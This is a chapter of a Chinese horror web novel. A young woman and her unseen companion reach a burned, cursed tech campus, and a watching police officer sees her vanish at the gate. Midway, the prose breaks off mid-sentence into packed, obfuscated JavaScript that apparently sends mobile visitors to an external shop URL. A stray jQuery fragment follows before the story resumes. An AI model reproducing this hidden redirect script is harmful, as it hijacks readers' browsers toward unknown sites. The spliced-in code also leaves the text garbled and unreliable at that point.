新辰科技。
出租车在一片荒废的厂区前停了下来。
温刃透过车窗往外看,这里很偏僻,周围都是些低矮的旧房子,像是曾经的小村子。
厂区的铁门锈迹斑斑,半开着,里面能看到几栋灰扑扑的楼房。
墙面上有大片大片漆黑的灼烧痕迹,从窗户蔓延到屋顶,把整面墙都烧成了焦炭的颜色。
司机是个中年女人,从后视镜里看了一眼后座上的小姑娘。
她本来没觉得有什么,但车停下来之后,她莫名觉得后背有点发凉。
这地方她白天都不想多待,更别说拉人过来了。
要不是顾客给的钱多,她早就跑了。
犹豫良久,司机还是问道:“小姑娘啊,你怎么来到这里了?”
温刃看向她:“这地方怎么了吗?”
司机沉默一阵,看着小姑娘也像是个不知道的主,她还是解释了一下:“姑娘,这个地方是有问题的,我常年在这片跑,对这里是有些了解的。”
“你看那地方,都烧成啥样子了。”她指了指窗外那栋焦黑的楼房。
“这里曾经是有个公司的,但是呢,我们也不知道他们是制作了什么的,好像是受到了报应。”
“十年前,整个公司被一场大火给烧了,说是在场的二百多个员工吧,一个都没救出来,全都活活烧死在里面了,火势太大了,根本进不去人。”
“这片地方自那以后就被封了,再也没有人能进来,已经算是个禁地了。”
她回过头,认真地看着温刃。
“我之前还载过一个小伙子呢,是搞什么直播的,他就是要过来这里,说要直播什么这里的事情,结果……”
“他进来之后就失踪了,再也联系不上了,我还帮他报了执法官,可最后,就连执法官都没回来,我被拉去做了笔录,半天没出来,还以为自己犯事了。”
她叹了口气。
“反正很可怕的,这地方吃人,小姑娘,我劝你早点离开,我看你挺年轻的,还有未来很好的大年华,可不要浪费在这里了。”
“姑娘,你跟我女儿年纪差不多大,可不要为了探险,而蔑视生命。”说道这里,司机似乎想到了什么,陷入惆怅。
似乎,她的女儿给她带来了无尽伤感。
温刃从口袋里掏出车费,多付了一些,递过去:“谢谢你,不过我过来这里,是来找个朋友的。”
司机张了张嘴,想说什么,但温刃已经推开车门了。
Zero从另一侧飘下车,笑着看向温刃:“看来就连这里的司机都知道有问题了,小刃,万一遇到无法解决的困难怎么办?你确定要进去吗?”
温刃随口回了一句:“我知道,但我总得试试,不是吗?”
“不过看样子,这场怪事是从十年前发生的吗?”Zero歪了歪头。
“我也不知道,但总不能说十年前就有丧诡吧?”温刃不敢去想那个结果。
Zero看向了远处:“不过,小刃,远处好像有一位执法官呢,就在你身后五十米处的一处废弃车子里。”
*
司机看着温刃,却只觉得毛骨悚然。
那个女孩语气很自然,像是在跟一个坐在那里的人聊天。
她的目光会随着那个人的动作移动,甚至会等那个人说完话再回应。
她到底在跟谁说话?
她看向温刃的身边,那里分明一个人都没有,可那个女孩却对着空气在说话,像是她旁边有一个人在和她交流一样。
她说,来找个朋友……
司机只觉得头皮发麻。
这地方人都死光了,她过来找什么朋友,找死人朋友吗?
她急忙踩下油门,车子轰的一声窜了出去,后视镜里,那个女孩的身影越来越小,越来越远,最后变成一个模糊的点。
司机的后背已经被冷汗浸透了,她这才松了一口气。
以后再有人过来这里,给多少钱她都不拉了。
她再也不会为了钱而屈服。
*
不远处,一辆不起眼的破车里。
这辆车早就报废了,车窗上贴着深色的膜,从外面看不清里面的情况。
车身锈迹斑斑,轮胎也瘪了,看起来像是被遗弃在这里很久了。
但仔细看的话,能发现副驾驶的位置被收拾得很干净,座椅上铺着一条叠得整整齐齐的毯子,旁边放着几瓶水和一些压缩饼干。
这里是一个据点。
车里坐着一个人。
她一头干练短发,刚好齐耳,眼睛一直盯着厂区门口的方向。
她穿着一件深色的夹克,里面是黑色的高领衫,领口立起来,遮住了半截脖子。
她叫季舒言,也是一名执法官,自从之前出事之后,在这里蹲守了整整七天。
她白天盯着那扇门,晚上也盯着那扇门,困了就靠在座椅上眯一会儿,饿了就啃两块饼干。
可奇怪的是,自从这里封了之后,没有人进去,也没有人出来。
整个地方就像是彻底与世隔绝了一般。
可季舒言知道这地方不简单,她来这里之前是看过所有档案的。
因为这个诡异的地方,失踪的人太多了,从最开始的普通平民,到最后就连执法官都陷入其中,失去了联系。
要知道,他们执法官跟普通人最大的区别就是手上拥有武器,可这样的执法官都栽在里边……
只能说明这地方拥有一个很大的犯罪窝点,就连两个执法官过去都了无音讯。
但比起这个,这起案件中有一个最诡异的点。
每一个失踪或者死亡的人,他们都收到了一份来自新辰科技的招聘传单,而且诡异的是,这份传单的出现是贴在受害者的背后的。
而且,还是凭空出现的。
季舒言一直觉得自己是一个唯物主义者。
可偏偏这件事,从里到外都透露着不对劲。
那些没去面试的人,在面试间到来时,都死在了自己的家里,没有人能幸免。
他们死状极其诡异。
因为,他们都吃掉了自己的脚,然后被脚噎死在了自己的喉咙里。
法医报告上写着窒息死亡,但没人能解释一个人是怎么用那种扭曲的姿势,把自己的脚塞进嘴里的。
季舒言看过现场照片,至今忘不了那个诡异角度,她闭上眼又睁开,把干呕压了回去。
而且他们死之前监控都拍到过,每一个死者的周围都是没有第二者存在的。
就连被保护的人,在某个时间段到来,他们的意识会变得疯狂,活活以扭曲的姿势吃掉自己。
也就是说,这些人全是自己杀死了自己。
而那些去了面试的人,在进入新辰科技这个荒废的区域后就失踪了。
活不见人,死不见尸。
就像是凭空消失一样。
可季舒言在这里蹲守了七天,发现了一个很恐怖的点。
那就是早在十年前这里被烧毁之后,大部分的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493143|202335||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玻璃早已破碎,站在外面就一眼能看到里边。
这地方根本是个死地,一个人都没有。
那面试报告传单又是怎么发出来的?
这些人失踪后又去了哪里?
不仅如此,她的三个同事,三个执法官,带着武器进去了。
那是两周前的事了,他们进去之后,通讯信号像是被一股神秘力量直接抹除,瞬间就没了信号。
还算有用上定位器显示,他们的信号消失在那栋楼里,再也没有移动过。
搜救队尝试去搜救过,可他们将整个地方找了一遍,甚至沿着搜救信号的位置向下挖了50多米,也没找到一个人。
进去的三个执法官,就像是进入了另一个世界,凭空消失了。
从那以后,再也没人敢来了。
但季舒言不信。
她不相信这个世界上有超自然的力量。
她相信证据,相信逻辑,相信任何诡异事件的背后都有一个合理的解释,因为这一切肯定有人搞鬼。
她不能任由那些不法分子危害社会。
所以她来了。
她在这里蹲了七天,就是为了等一个答案。
现在,答案出现了。
一个年轻女孩从出租车里下来。
季舒言坐直了身体,目光向那个女孩身上看了过去。
那女孩看起来二十出头,比季舒言还年轻,穿着很普通的衣服,看起来就像个还没刚毕业的大学生。
因为那女孩的眼中已经没有了清澈,像是经历过了很多事。
而且,她一个人来的。
一个女孩居然会来到一个已经禁止进入的区域,她的胆子这么大的吗?
季舒言身上的直觉告诉她,这一切是不对劲的,至少这个女孩身上是不对劲的。
那个女孩不简单。
难道,这个女孩是过来,跟那群嫌犯接头的人吗?
季舒言一早就怀疑,新辰科技里面可能躲了一批人,并且是极度危险的犯罪分子,只有团伙才能进行这样庞大的犯罪活动。
但他们想要发传单,就绝对会有人出去。
比如说,会有一个接头人自由在新辰科技跟外界之间穿梭。
季舒言很怀疑这个女孩的动机。
那女孩站在厂区门口,对着空气说了几句话,但她身边分明什么都没有。
季舒言意识到了什么,皱起眉头:“等等,她果然是在跟里面的人联系,果然,这次我找到了线索。”
可下一秒,那女孩在踏入大门后,身影居然凭空消失了。
季舒言揉了揉眼睛,拿起执法仪去看回放,看了好几眼,发现温刃就是凭空消失的。
就好像……
进入了另一个空间一样。
她到底是怎么做到的?
季舒言冲过去,却发现刚才还能推开的门,这时候一点也打不开了。
刚才那女孩明明随手就推开了。
她又推了一下,铁门像焊死了一样,连一点晃动都没有。
季舒言低头看见,执法仪的屏幕还亮着,回放的画面定格在女孩消失前的最后一帧。
但她注意到一件之前没看见的事。
那帧画面里,女孩的嘴角是微微上扬的。
她在笑。
对着空无一人的门口在笑。
季舒言缓缓抬起头,看着面前那扇推不开的门。
她不由一阵怀疑。
难道……这个世界真有那种东西存在?